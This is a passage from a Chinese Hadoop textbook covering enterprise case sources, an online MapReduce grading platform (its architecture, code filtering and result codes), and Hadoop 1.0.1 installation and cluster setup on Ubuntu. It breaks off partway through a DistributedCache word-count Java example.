本章小结\n本章按照系统的从简到难、应用的从浅到深，介绍了Hadoop在企业中的应用和实践，涵盖了经封装后直接使用Hadoop模块、修改完善Hadoop设计等内容，特别是大篇幅地介绍了Facebook使用Hadoop+HBase的一些细节。希望大家能认真学习，掌握如何使Hadoop在大型应用中扮演重要的角色，学会基于Hadoop搭建大型应用框架，并能在系统开发应用中根据实际需求修改完善Hadoop。\n本章参考资料\n如果想要了解Hadoop在Yahoo！应用的更多细节和进展，请关注Yahoo！Hadoop团队的博客（developer.yahoo.com/blogs/hadoop）。\nHadoop在eBay的应用内容是根据eBay研究人员的技术博客[2]\n 整理而成的，其中参考了eBay分析平台开发部Anil Madan介绍的Hadoop在eBay的使用情况，大家想要了解Hadoop在eBay应用的更多信息，可以关注eBay研究人员的技术博客（www.ebaytechblog.com）。\n百度和即刻搜索使用Hadoop平台的情况则是根据近几届Hadoop中国云计算大会上对应企业研究人员的报告整理而成，大家如果想了解更详细的信息或Hadoop中国云计算大会的相关信息可登录Hadoop in China网站：http：//www.hadooper.cn。\nFacebook的企业案例是根据Facebook公开发表的论文[3]\n 整理而来。\n[1]Alan Gates, Pig and Hive at Yahoo！，http：//developer. yahoo.com/blog/hadoop/posts/2010/08/pig_and_hive_at_yahoo/\n[2]Anil Madan, Hadoop-The power of the Elephant, http：//www. ebaytechblog.com/2010/10/29/hadoop-the-power-of-the-elephant/\n[3]Dhruba Borthakur, Apache Hadoop Goes Realtime at Facebook, Sigmod 2011\n附录A 云计算在线检测平台\n本章内容\n平台介绍\n结构和功能\n检测流程\n使用介绍\n小结\nA.1 平台介绍\nMapReduce的日趋流行带动了普通程序员学习MapReduce的潮流，它的学习资料也日趋丰富起来。但是MapReduce运行所需的并行环境却成为了入门者学习的最大障碍，主要原因是并行环境的硬件要求高，配置复杂，同时现有的学习资料中鲜有编程实战方面的指导，更多专注在MapReduce的理论知识上。综合这些情况，我们开发了云计算在线检测平台（http：//cloudcomputing.ruc.edu.cn/），为大家提供理论知识测试和利用理论知识进行实战的机会。该平台提供运行程序的并行环境，避免入门者将精力都花费在环境配置上，帮助他们配合本书进行学习和实践。\n云计算在线检测平台是一个MapReduce程序检测平台。此平台基于Hadoop集群提供了MapReduce并行程序运行的分布式环境，旨在为MapReduce的入门者提供简单具体的编程练习，使其初步掌握MapReduce框架的编程思想，并拥有使用MapReduce并行化解决实际问题的能力。用户可以根据平台提供的问题背景，开发自己的并行程序并提交运行。平台会根据运行结果反馈给用户一定的信息，以便进行修改或进一步优化。用户也可以在平台上进行分布式系统理论知识的测试，以提高理论水平。同时，此平台结合分布式系统架构Hadoop、MySQL技术和Tomcat技术，提供了在线的分布式并行运行环境，供用户运行自己所提交的并行程序。根据实际的使用结果和平台功能完整性的需求，平台的结构已经从原来的前台用户接口和后台程序运行两个主体结构发展成前台用户接口、后台运行程序和平台程序过滤模块三大部分。前台用户接口负责同用户的交互，包括保存用户提交的代码、返回程序的检测结果等；后台运行程序负责前台收集的用户代码并检测结果，同时将检测的结果交给前台并维护网站用户的信息，提供整个网站的网络服务；代码过滤模块主要实现了雷同代码的过滤和非MapReduce合理框架程序的过滤。\n云计算在线检测平台兼顾实战和理论，能让用户在进行理论测试的过程中掌握开源分布式系统架构Hadoop的相关知识和MapReduce的理论知识，能让用户在编程提交和修改再提交的过程中切身体验到如何利用分布式系统Hadoop、MapReduce编程，以及如何用MapReduce并行程序来解决实际问题。总体来说，此平台能够提高用户的理论水平和实战能力，是MapReduce入门者不错的入门指导。\nA.2 结构和功能\n正如前一节中所介绍的，云计算在线检测平台已发展成由三大部分组成，分别是前台用户接口、后台程序运行及平台程序过滤模块，下面分别对它们进行介绍。\nA.2.1 前台用户接口的结构和功能\n前台用户接口的功能结构如图A-1所示。它主要包括四部分内容：用户完全服务、实例编程练习、分布式系统理论知识测试、帮助功能（指网站的使用帮助、Hadoop介绍文档，以及网站的中文页面）。下面分别详细介绍这四个功能块。\n用户完全服务主要包括注册、登录和更新信息等。注册是指用户在Register页面完成新用户的注册，云计算在线检测平台只对注册用户提供代码检测服务。在注册页面需要填写用户名、注册码（选填）、密码、单位、邮箱等信息，注册成功之后用户就可以使用注册的用户名和密码登录了，同时邮箱会收到一封注册邮件，以防止用户忘记用户名和密码以致无法登录。在注册时如果发生用户名已注册、密码重复错误、验证码输入错误等，将会导致注册失败。注册成功后可以在首页的右上角直接使用用户名和密码进行登录，也可以在login页面完成登录操作。登录成功的用户可以选择login out。更改个人信息是指更改个人密码等信息，如果用户期望做出更改，可以在update your info页面完成。\n图 A-1 前台接口的结构图\nMapReduce实例编程练习主要包括题目浏览、提交答案、查看提交记录、查看提交源码、查看检测结果。在云计算在线检测平台上，开发小组设计了很多基于MapReduce并行框架能够解决的实际问题。用户可以在problem页面详细浏览各个问题的背景，以及输入输出要求和注意事项。然后利用自己的MapReduce理论知识，针对具体实例问题来编写自己的实例解决代码，并且在submit solution页面提交代码。网站会运行用户提交的代码，然后在网站上反馈相应的结果。用户可以在My submission页面中查看自己的提交记录，也可以单击每一条记录中的source连接查看自己提交的代码，同时还可以单击result栏下面的连接查看检测结果。\n分布式系统理论知识测试主要指用户单击首页的theory test之后会出现一份限时半小时的试卷，共20道选择题。这些选择题都是随机从平台中题库里选出来的，题目是关于分布式系统的理论知识，主要集中在Hadoop及其子项目上。用户答题完毕单击提交按钮或在页面上停留的时间超过半小时，所有答案就会提交。平台通过比对之后会将每道题目的正确答案及用户的回答一起返回，并计算出此次测试的分数。\n帮助功能主要指网站的使用帮助、网站对应的中文页面，以及Hadoop的介绍文档和用于讨论的BBS版块。网站的使用帮助在首页的FAQs页面下，主要是关于网站在实际使用中要注意的事项。网站对应的中文页面可以点击Chinese链接进入。中文页面也提供了与英文页面完全相同的服务。Hadoop快速指南网站上的Hadoop Quick Start链接和它所提供的在线文档，主要为用户提供一些Hadoop分布式系统的初步认识和安装说明。BBS论坛允许用户在平台上交流MapReduce的学习经验，以及对平台上题目，同时还可以留下自己关于平台使用的疑问。\nA.2.2 后台程序运行的结构和功能\n后台程序运行的功能结构如图A-2所示。后台中的主要模块也是四部分：Tomcat服务器、MySQL数据库、Hadoop分布式环境、Shell文档。下面详细介绍这四个功能块。\nTomcat服务器：担当网站的Web服务器角色，保证用户能够从网络上访问到平台，并将开发小组基于JSP技术开发的网页呈现在用户的电脑上。\nMySQL数据库：其中主要是网站的信息，包括用户个人信息、用户提交记录、网站题库等。基于JSP技术开发的网页通过调用MySQL的接口，获取用户请求的信息，并将其呈现在网页上或将网页上提交的信息保存到数据库中。\n图 A-2 后台结构图\nHadoop分布式环境：是整个后台的核心所在，因为它是云计算在线检测平台提供特色服务的核心。开发小组首先在多台计算机上安装好Hadoop分布式系统，形成一个分布式环境，然后再在集群上配置网站提供服务，这就可以保证为用户提交的代码提供并行程序运行所需的真实分布式环境。Hadoop集群的主要功能就是运行用户提交的代码，给出结果。\nShell文档：在检测平台的系统中扮演着人体中血液的角色。它首先将网页保存下来的用户代码进行预处理，比如检测是否是正确的Java程序等，然后再对预处理之后的结果进行预编译，成功之后再将代码提交到Hadoop上，接着再收集Hadoop的运行结果，然后与标准结果进行比对，最后将比对的结果分类返回给前台网页，呈现在用户面前。综合来说，Shell文档将前台功能块和后台功能块串联了起来，以便为用户提供连贯的服务。\nA.2.3 平台程序过滤功能\n这部分主要实现了两个与用户程序直接相关的功能：非MapReduce合理框架程序过滤和雷同代码程序过滤。添加过滤模块的主要出发点是，管理员发现在平台的使用过程中，部分用户直接提交他人代码或者经过一些初级的代码移动、替换等提交他人代码，甚至有些用户提交的代码所有任务均安排在一个节点的Reduce函数中完成任务，Map函数的功能就是直接输出获取的输入，这种程序看似运用了MapReduce框架，但是并不是合理的MapReduce框架程序，因为它未能利用MapReduce框架来并行处理问题，甚至由于Map函数这个无用过程的存在增加了处理的负担。这两种现象都是不应该出现的，但是由于之前平台是自动运行，只匹配结果是否正确，导致这些不合理代码会被接受。为了避免这些现象，管理员升级了平台，增加了代码过滤模块。下面简要介绍这两个功能实现细节：\n（1）非MapReduce合理框架程序过滤功能\nMapReduce框架通过Map和Reduce两个函数，实现了集群对海量数据的并行处理。其中Map函数起到数据预处理和分流的功能，Reduce函数再根据不同的key获取不同的Map函数输出流，进行深度数据处理，可见Map函数和Reduce函数二者功能缺一不可。但是在平台使用中，部分用户只是简单地将所有数据的处理任务都放在一个节点的Reduce函数中，Map函数仅输出接受的输入。这种处理方法是不合理的。\n通过观察和分析这些程序，管理员发现，用户要想将所有的任务放在一台节点的Reduce函数中处理，那么他就需要将Map输出的key选为一个固定值。所以从这一点出发，在平台的非MapReduce合理框架程序过滤中，管理员首先定位Map函数的输出位置，再定位输出位置中key的位置，如果程序辨别此key值为某个固定值，那么说明用户并未将输入数据分流，是不合理的MapReduce框架程序，从而不执行此程序，输出为MapReduce Error。\n（2）雷同代码的过滤\n抄袭在平常的工作中非常常见，特别是在计算机领域。从发现有雷同代码出现之后，管理员就开始研读对应的雷同代码检测文献，学习相关方法，并将之运用到平台中。现在平台的雷同代码过滤主要采取以下步骤：\n过滤无效字符，替换变量为同一字符；\n按照固定窗口大小，滑动获取固定大小的连续字符串；\n计算每个字符串的Hash函数值；\n按照固定窗口大小，滑动获取固定大小的连续Hash函数值；\n获取每个连续函数值串中的最小函数值，结合其位置参数作为代码的指纹，某一位置上的函数值只能出现一次；\n计算此代码指纹与代码指纹库中每个指纹的相似度，如果超过某一阈值则判为雷同代码；\n界面显示雷同代码，并自动发送邮件给用户和系统管理员。\n由于代码抄袭和代码学习之间的界限并不明确，可能会将代码错判为雷同代码，雷同代码的过滤在平台中发挥了巨大作用，模块刚加入之处就判出了两例雷同代码。\n代码过滤模块的加入，并不是为了增加用户使用的难度，而是为了规范用户的代码，优化平台的使用。系统管理员会根据实际的使用情况，不断更新扩展此模块功能，使平台功能更加完善，用户使用更加方便。\nA.3 检测流程\n经过前面两节的介绍，大家对整个平台已经有一个直观整体的认识，那么这个平台是如何运行的呢？它的运行流程是什么？本节将详细介绍云计算在线检测平台检测用户代码的流程。\n总体来说，平台对用户代码的检测流程主要包括代码保存、代码预处理、代码运行和结果分析返回、结果显示五个阶段，下面将分别介绍这五个阶段：\n代码保存阶段：用户在网页上粘贴自己的代码，点击submit提交之后，网站会把用户的代码保存在服务器上一个唯一的文件中，并在后台数据库中保存这一次提交的信息和代码路径。\n代码预处理阶段：用户在提交代码之后，网站在进行代码保存的同时还会调用Shell文档来进行代码的预处理。Shell文档被调用运行之后就会开始用户代码的预处理。首先Shell文档会按照调用的路径参数从本地找到用户代码，然后检测用户代码，比如程序是否是可运行的Java代码、是否符合MapReduce框架要求等。如果预处理成功就会将代码提交给Hadoop分布式环境运行，如果预处理失败就会直接返回并将错误原因呈现到网页界面上。\n代码运行阶段：代码预处理成功之后会被提交到Hadoop分布式环境上，Hadoop调用事先已经保存在HDFS（Hadoop分布式文件系统）上的输入数据来运行代码。在平台的处理过程中，代码在Hadoop上的运行和在线下自己提交代码到Hadoop上的运行相同。代码运行结束之后，Shell文档会将结果信息重定向到代码文件中同样唯一的结果信息文件中，以交给下一步处理。\n结果分析返回阶段：结果分析返回阶段主要是分析Hadoop运行的结果信息，对结果分类，生成结果文件，然后将相关的信息写入数据库，供平台显示代码运行结果时调用。Shell在分析结果时，首先查看有没有输出结果，如果有输出结果就和标准输出进行对比，正确就返回结果Accepted，错误就返回结果Wrong Answer。如果没有结果，再将输出信息同一些结果关键词进行匹配，然后返回匹配成功的那一类错误信息。\n结果显示：用户在My Submission界面点击result一栏的结果链接之后，页面会调用数据库接口，搜索此次提交记录在数据库中对应的记录。找到之后，页面直接获取结果信息文件的路径，然后将其内容显示在页面上，如果代码有误，用户就可以知道代码的错误所在，用户进行调整之后重新提交。\n结合上面的介绍，网站处理的流程图如图A-3所示。\n图 A-3 网站处理流程图\nA.4 使用介绍\n前面介绍了云计算在线检测平台的理论内容，本节将从功能使用、题目介绍、返回结果说明、使用注意事项四个方面详细介绍平台的使用方法。\nA.4.1 功能使用\n本附录第2节介绍了平台中前台用户接口和后台程序运行的结果和功能块。而与用户直接相关的就是前台功能的使用。下面用三个使用实例来说明如何使用前台功能。\n1.如何注册用户，如何修改信息？\n注册功能的使用流程如下：\n1）在首页点击Register链接，进入注册界面；\n2）填写个人信息，包括用户名、注册码（选填）、密码、邮箱、单位、国家、验证码等；\n3）根据提示进行调整，比如如果提示用户名已存在，就需要换一个用户名，如果提示密码重复错误，就需要重新输入密码等。\n4）注册成功，如果注册完之后可以进入注册成功界面，就表示注册成功了，界面上显示的是自己除密码外的所有注册信息，同时用户所注册的邮箱会收到一封包含用户名和密码的注册邮件，以防止忘记用户名或密码。\n使用修改信息功能的流程如下：\n1）登录之后在首页点击Update your info链接，进入信息修改页面；\n2）填写要修改的个人信息；\n3）点击提交之后就会进入修改成功界面，界面显示修改的信息。\n2.如何提交自己的代码并查看结果？\n1）登录之后点击具体题目下的submit按钮，进入代码提交页面，或者点击submit solution链接直接进入提交页面，再或者在首页的problem一栏下输入problem ID直接进入problem，然后点击提交进入代码提交页面；\n2）在代码提交页面的空白处粘贴自己的代码，点击提交；\n3）提交之后页面自动跳入仅包含此次提交信息的页面，在这个页面中用户能够查看自己提交的代码，同时页面还能够在代码运行结束之后自动更新result一栏的状态，并显示运行结果（此处采用了AJAX技术，由于存在技术兼容问题，所以只有firefox支持），更新之后用户可以点击查看运行结果；\n4）用户想查看结果和自己的代码，也可以点击My Submission链接，进入自己的提交记录页面，点击特定记录后的source就可以查看提交的代码了，点击result一栏的结果可以查看具体的结果信息。\n3.如何进行理论测试？\n1）登录后点击Theory test进入理论测试界面；\n2）根据具体的题目选择正确答案，然后提交（理论测试每份试卷限时30分钟，如果在页面上停留的时间超过30分钟，平台也会自己提交页面现有答案）；\n3）提交之后页面自动跳入结果页面，显示每到题目的回答是否正确。\nA.4.2 返回结果介绍\n在平台上提交代码之后在提交历史中的result一栏就可以看到结果。那么都有什么结果？都代表什么意思？针对具体的错误用户应该如何应对？下面将进行详细介绍。\nAccepted：表示用户提交的代码已经被接受，而用户代码被接受的前提是代码能够正确运行，并且在以平台的测试数据作为输入数据执行的输出结果和平台标准的输出结果完全相同。但是需要提醒的是，由于MapReduce编程框架的原因，平台上的这些题目完全可以在MapReduce结构中的Map或Reduce阶段独立完成，但是这种做法没有完全发挥MapReduce并行运行的效率，不是最优的办法。所以如果用户的代码被Accepted了，用户还需要审视自己的代码，检查它是否最大程度利用了并行运行来提高效率。\nCompile Error：表示用户代码编译错误，出现这种情况说明在用户的代码中存在语法问题，在进行普通的Java程序编译时出错了。用户可以点击result栏的错误结果链接去查看具体的语法错误位置，并进行修改。用户也可以在本地进行普通的Java编译，待通过之后再提交到平台上。\nMapReduce Error：表示代码在Hadoop上运行时出现错误并没有输出结果。这种情况出现的可能性比较多，主要包括：常见的Java程序逻辑错误、MapReduce逻辑错误等。Java程序逻辑错误又主要包括数组越界、未初始化等，MapReduce逻辑错误则主要包括输入输出类型不匹配等。在遇到MapReduce Error时相对比较麻烦，需要用户仔细核对自己的代码，找出逻辑错误的地方进行修改，然后再尝试提交。\nWrong Answer：表示代码能够在Hadoop上正常运行并有输出结果，只是用户的输出结果和标准结果并不匹配。出现这种情况时，用户首先要检查自己代码的输出格式是否正确，比如顺序是否和实例输出相同。然后再检查结果是否完整，是不是漏掉了某些结果等，最后检查是不是程序逻辑错误导致的结果错误。\nRuntime Error：表示代码执行的时间太长，也就是说用户代码在Hadoop上执行的时间超出了正常的执行时间。出现这种情况的原因主要是用户程序存在死循环或平台同时提交的程序太多，使运行效率降低了。用户只需要查看是否存在死循环代码并在平台空闲的时间提交就可以了。\nMemory Exceed：表示程序运行时内存溢出，即用户代码中过多使用了内存或无限申请内存的代码（这主要针对主函数中的代码，如果在MapReduce中出现类似的代码会返回MapReduce Error）。出现这种情况，就需要用户在自己的代码中仔细查找是否有过多使用内存或无限开内存的代码。\nEvil Code：表示提交的程序中存在恶意代码，也就是说用户代码中存在系统调用代码或意图更改平台服务器配置的代码等。这就需要用户清除代码中根本用不到的代码和一些恶意代码了。\nSim Code：表示提交程序的指纹和网站代码指纹库中的某一个指纹相似度超过了网站定义的阈值，也就是说此代码有抄袭的嫌疑。发生这种错误之后网站会向用户和网站管理员自动发送相关邮件，并附上用户代码和雷同代码，如果判错用户可同管理员联系。\n以上介绍了平台运行用户提交的代码之后所返回的各种结果及其出现的原因和应对策略。错误的根本原因是代码问题，所以用户遇到问题需要耐心审视自己代码，修改其中不正确的代码和逻辑，删除无用代码。\nA.4.3 使用注意事项\n这一节主要向大家介绍平台使用的一些注意事项，这部分内容也可以参考平台FAQs中的内容。\nJava程序主类的名字必须为MyMapre（否则编译错误）。存在这个限制的原因是需要统一所有提交的代码，然后由Shell文档再将其提交到Hadoop上运行，所以不能为每个用户的代码写专门的Shell文档。\n在配置MapReduce程序的输入输出时必须使用下面两个语句（原因和前一个注意事项相同）：\n旧API\nFileInputFormat.setInputPaths（conf, new Path（args[0]））；\nFileOutputFormat.setOutputPath（conf, new Path（args[1]））；\n新API\nFileInputFormat.addInputPath（job, new Path（otherArgs[0]））；\nFileOutputFormat.setOutputPath（job, new Path（otherArgs[1]））；\nMapReduce程序必须处于一个Java源文件内，它不支持引用其他文件的类。也就是说必须把Map、Reduce、Combine等类写到一个文件内。\n平台对同时运行的MapReduce程序数量有限制。因为系统资源有限，而Hadoop平台及MapReduce程序在处理少量数据时的表现并不是很好（即使运行少量数据，WordCount程序也需要花费20多秒的时间），所以需要用户耐心等待提交程序的检测结果，而且不要同时提交多个程序，以免占用过多的平台资源。\nA.5 小结\n本附录主要介绍了云计算在线检测平台。平台以Hadoop集群作为并行程序的运行环境，为MapReduce的入门者提供了兼顾实战和理论的训练，使其初步掌握MapReduce框架和Hadoop系统的理论知识，同时具有使用MapReduce并行化解决实际问题的能力。\n在附录的第2节中介绍了平台的各个组成部分及其功能。平台经过升级之后主要包括前台用户接口、后台程序运行和代码过滤模块。前台主要包括用户完全服务、实例编程练习、分布式系统理论知识测试、帮助功能。前台主要完成与用户的交互和用户服务的功能。后台主要包括Tomcat服务器、MySQL数据库、Hadoop分布式环境、Shell文档，它为前台功能提供支持。代码过滤模块主要包括非MapReduce合理程序过滤和雷同代码过滤，这一模块规范了用户的程序和使用规范。接着又介绍了用户代码的检测流程，主要是用户提交之后网页保存用户代码、启动Shell调用用户提交代码进行代码预处理、预处理成功后代码会提交到Hadoop上运行，然后分析并返回用户程序执行的结果，最后将用户的结果信息显示在前台界面上。最后一节对网站的使用进行了介绍，主要是一些功能使用的举例，比如注册更新信息、提交代码、理论测试等。同时本节还介绍了用户代码运行之后返回的各个结果所表示的意思、原因和如何应对。\n云计算在线检测平台能够帮助用户补充MapReduce编程框架和Hadoop分布式系统的理论知识，并且在实践中掌握利用MapReduce框架解决实际问题的能力，是MapReduce入门者不错的选择。\n附录B Hadoop安装、运行与使用说明\n本章内容\nHadoop安装\nHadoop启动\nHadoop使用\n在本书中，关于Hadoop的安装、运行和使用都已有介绍，但由于章节内容的要求，并没有组织在一起。为了方便大家直接学习安装、运行和使用Hadoop，从读者实际实践的需求出发，本书第二版附加本附录，将Hadoop的安装、运行和使用结合起来系统地呈现给读者（安装采用最小可用配置）。为了统一，本附录关于Hadoop的安装和使用均基于Ubuntu 11.10 Linux操作系统，1.0.1版本的Hadoop和1.6版本的JDK。\nB.1 Hadoop安装\nB.1.1 JDK安装\n安装JDK具体步骤如下。\n（1）下载安装JDK\n确保可以连接到互联网，从http：//www.oracle.com/technetwork/java/javase/downloads页面下载JDK安装包（文件名类似jdk-***-linux-i586.bin，不建议安装1.7版本，因为并不是所有软件都支持1.7）到JDK安装目录（本章假设jdk安装目录均为/usr/lib/jvm/jdk）。\n（2）手动安装JDK\n在终端下进入JDK安装目录，并输入命令：\nsudo chmod u+x jdk-***-linux-i586.bin\n修改完权限之后就可以进行安装，在终端输入命令：\nsudo-s./jdk-***-linux-i586.bin\n安装结束之后就开始配置环境变量。\n（3）配置环境变量\n输入命令：\nsudo gedit/etc/profile\n输入密码，打开profile文件。\n在文件最下面输入如下内容：\n#set Java Environment\nexport JAVA_HOME=/usr/lib/jvm/jdk\nexport CLASSPATH=\".：$JAVA_HOME/lib：$CLASSPATH\"\nexport PATH=\"$JAVA_HOME/：$PATH\"\n这一步的意义是配置环境变量，使你的系统可以找到JDK。\n（4）验证JDK是否安装成功\n输入命令：\njava-version\n会出现如下JDK的版本信息：\njava version\"1.6.0_22\"\nJava（TM）SE Runtime Environment（build 1.6.0_22-b04）\nJava HotSpot（TM）Client VM（build 17.1-b03，mixed mode, sharing）\n如果出现上述JDK版本信息，说明当前安装的JDK并未设置成Ubuntu系统默认的JDK，接下来还需要手动将安装的JDK设置成系统默认的JDK。\n（5）手动设置系统默认JDK\n在终端依次输入命令：\nsudo update-alternatives--install/usr/bin/java java/usr/lib/jvm/jdk/bin/java 300\nsudo update-alternatives--install/usr/bin/javac javac/usr/lib/jvm/jdk/bin/javac 300\nsudo update-alternatives--config java\n接下来输入java-version就可以看到JDK安装的版本信息。\nB.1.2 SSH安装\n在终端输入下面的命令：\nssh-version\n如果出现类似“OpenSSH_5.1p1 Debian-6ubuntu2，OpenSSL 0.9.8g 19 Oct 2007”的字符串，表示SSH已安装。如果没有输入下面的命令进行安装：\nsudo apt-get install ssh\n然后再依次输入以下命令完成本机的免密码配置：\nssh-keygen-t dsa-P''-f～/.ssh/id_dsa\ncat～/.ssh/id_dsa.pub＞＞～/.ssh/authorized_keys\nB.1.3 Hadoop安装\nHadoop有三种运行方式：单节点方式、单机伪分布方式与集群方式。前两种方式并不能体现云计算的优势，但是便于程序的测试与调试。\n在安装Hadoop之前，先从Hadoop官方网站：\nhttp://www. apache.org/dyn/closer.cgi/Hadoop/core/\n下载hadoop-1.0.1.tar.gz并将其解压，本文往下都默认Hadoop解压在/home/u/目录下。\n（1）单节点方式安装\n安装单节点的Hadoop无须配置，在这种方式下，Hadoop被认为是一个单独的Java进程，这种方式经常用来调试。\n（2）单机伪分布方式安装\n伪分布式的Hadoop是只有一个节点的集群，在这个集群中，这个节点既是master，也是slave；既是NameNode也是DataNode；既是JobTracker，也是TaskTracker。\n配置伪分布的Hadoop需要修改以下几个文件（具体修改内容的含义请参考第二章）：\n进入Hadoop目录下conf目录，在hadoop-env.sh中添加JAVA安装目录：\nexport JAVA_HOME=/usr/lib/jvm/jdk\n修改core-site.xml内容如下：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜configuration＞\n＜property＞\n＜name＞fs.default.name＜/name＞\n＜value＞hdfs：//localhost：9000＜/value＞\n＜/property＞\n＜/configuration＞\n修改hdfs-site.xml内容如下：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜configuration＞\n＜property＞\n＜name＞dfs.replication＜/name＞\n＜value＞1＜/value＞\n＜/property＞\n＜/configuration＞\n修改mapred-site.xml内容如下：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜configuration＞\n＜property＞\n＜name＞mapred.job.tracker＜/name＞\n＜value＞localhost：9001＜/value＞\n＜/property＞\n＜/configuration＞\n上面文件都配置结束之后，Hadoop的安装配置也就完成了。\n（3）集群方式安装\n这里以安装三台主机的小集群为例为读者呈现Hadoop的集群安装。三台主机的IP地址和对应角色安排如下表：\n安装的具体步骤如下：\n1）在三台主机上创建相同的用户，以便Hadoop启动过程中的通信。参考本附录中JDK和SSH的安装，在每台主机上安装JDK和SSH，并配置环境变量。\n2）在每台主机上配置主机名和IP地址。打开每个主机的/etc/hosts文件，输入内容：\n127.0.0.1 localhost\n10.37.128.2 master\n10.37.128.3 slave1\n10.37.128.4 slave2\n需要注意的是，应删除此文件中其他无用信息，防止Hadoop集群启动时slave无法找到master准确的IP地址进行通信，最终导致slave上的进程虽然启动但无法和master上的进程进行通信。\n接下来配置每台主机上的/etc/hostname文件，在文件中输入对应的主机名。\n3）配置master免密码登录slave，将master的密钥文件复制到各个slave主机的.ssh文件即可。在master主机的终端下输入命令：\nscp～/.ssh/authorized_keys slave1：～/.ssh/\nscp～/.ssh/authorized_keys slave2：～/.ssh/\n命令完成之后可以使用ssh slave1和ssh slave2来测试是否配置成功。\n4）修改Hadoop配置文件内容。\n在每台主机上进入Hadoop安装目录，向conf/hadoop-env.sh文件中添加JDK安装目录：\nexport JAVA_HOME=/usr/lib/jvm/jdk\n将conf/core-site.xml文件修改成：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜configuration＞\n＜property＞\n＜name＞fs.default.name＜/name＞\n＜value＞hdfs：//master：9000＜/value＞\n＜/property＞\n＜property＞\n＜name＞hadoop.tmp.dir＜/name＞\n＜value＞/home/u/tmp＜/value＞\n＜/property＞\n＜/configuration＞\n将conf/hdfs-site.xml文件修改成：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜configuration＞\n＜property＞\n＜name＞dfs.replication＜/name＞\n＜value＞2＜/value＞\n＜/property＞\n＜/configuration＞\n将conf/mapred-site.xml文件修改成：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜configuration＞\n＜property＞\n＜name＞mapred.job.tracker＜/name＞\n＜value＞master：9001＜/value＞\n＜/property＞\n＜/configuration＞\n将conf/masters文件修改成：\nmaster\n将conf/slaves文件修改成（注意每行只能有一个主机名）：\nslave1\nslave2\nB.2 Hadoop启动\n在第一次启动Hadoop时，需要格式化Hadoop的HDFS，命令如下：\nbin/Hadoop namenode-format\n接下来启动Hadoop，命令如下：\nbin/start-all.sh\n启动之后，可以通过http：//master：50070、http：//master：50030这两个页面查看集群的状态。需要注意的是，由于启动之初集群处理安全模式，所以可能看到活跃节点或者TaskTracker进程都为0。等集群离开安全模式之后，就会恢复正常。\nB.3 Hadoop使用\nB.3.1 命令行管理Hadoop集群\n在使用Hadoop时，最常用的就是使用命令行来管理HDFS，可以上传下载文件，管理集群节点，查看集群状态，运行指定进程等，命令的运行格式如下：\nbin/hadoop command[genericOptions][commandOptions]\n这里以运行文件系统工具的几个简单命令为例进行说明，有关命令行管理集群的详细内容请参见本书第九章。\nbin/hadoop fs-ls hdfs_path//查看HDFS目录下的文件和子目录\nbin/hadoop fs-mkdir hdfs_path//在HDFS上创建文件夹\nbin/hadoop fs-rmr hdfs_path//删除HDFS上的文件夹\nbin/hadoop fs-put local_file hdfs_path//将本地文件copy到HDFS上\nbin/hadoop fs-get hdfs_file local_path//复制HDFS文件到本地\nbin/hadoop fs-cat hdfs_file//查看HDFS上某文件的内容\nB.3.2 运行MapReduce框架程序\n本小节介绍如何编译自己编写的MapReduce框架程序，并在Hadoop上运行。假设自己编写的程序文件名为MyMapred.java，并放置在Hadoop安装目录下，即/home/u/hadoop-1.0.1。\n1）首先在hadoop安装目录下创建MyMapred文件夹，然后编译自己的程序。命令：\njavac-classpath hadoop-core-1.0.1.jar：lib/commons-cli-1.2.jar-d MyMapred MyMapred.java\n2）将编译好的程序打包成JAR文件，命令：\njar-cvf MyMapred.jar-C MyMapred.\n3）在Hadoop上运行JAR文件。\n在单节点方式的Hadoop下，只需要在准备好本地的输入文件之后（此处假设为/home/u/input），在命令行输入下面的命令就可以运行程序（output文件夹应不存在）：\nbin/hadoop jar MyMapred.jar MyMapred/home/u/input output\n运行结束之后就可以在output路径下查看程序的输出结果。\n在伪分布方式和完全分布方式的Hadoop集群下，首先在集群上创建输入数据路径（此处为input），然后将本地的程序输入数据文件上传到HDFS上的输入路径中，这两个步骤需要使用的命令在“命令行管理Hadoop集群”小节已讲到，此处不再赘述。准备好输入路径之后就使用同样的命令运行JAR文件：\nbin/hadoop jar MyMapred.jar MyMapred input output\n需要注意的是，命令中的input和output都是Hadoop集群上的路径，而非单节点下的本地目录。这里同样需要保证output路径在HDFS上并不存在。运行结束之后，就可以使用前面介绍的命令行命令来查看output文件夹下的输出文件名和输出文件的内容。\n附录C 使用DistributedCache的MapReduce程序\n本章内容\n程序场景\n详细代码\nC.1 程序场景\n问题定义：过滤无意义单词（a、an和the等）之后的文本词频统计。代码的具体做法是：将事先定义的无意义单词保存成文件，保存到HDFS上，然后在程序中将这个文件定义成作业的缓存文件。在Map启动之后先读入缓存文件，然后统计过滤后单词的频数。源代码的下载请到本书代码下载网址：http：//datasearch.ruc.edu.cn/HadoopInAction/shiyandaima.html。\nC.2 详细代码\npackage cn.edu.ruc.cloudcomputing.book；\nimport java.io.BufferedReader；\nimport java.io.FileReader；\nimport java.io.IOException；\nimport java.net.URI；\nimport java.util.HashSet；\nimport java.util.StringTokenizer；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.filecache.DistributedCache；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.io.IntWritable；\nimport org.apache.hadoop.io.Text；\nimport org.apache.hadoop.mapreduce.Job；\nimport org.apache.hadoop.mapreduce.Mapper；\nimport org.apache.hadoop.mapreduce.Reducer；\nimport org.apache.hadoop.mapreduce.lib.input.FileInputFormat；\nimport org.apache.hadoop.mapreduce.lib.output.FileOutputFormat；\npublic class AdvancedWordCount{\npublic static class TokenizerMapper\nextends Mapper＜Object, Text, Text, IntWritable＞{\nprivate final static IntWritable one=new IntWritable（1）；\nprivate Text word=new Text（）；\nprivate HashSet＜String＞keyWord；\nprivate Path[]localFiles；\n//此函数在每个Map 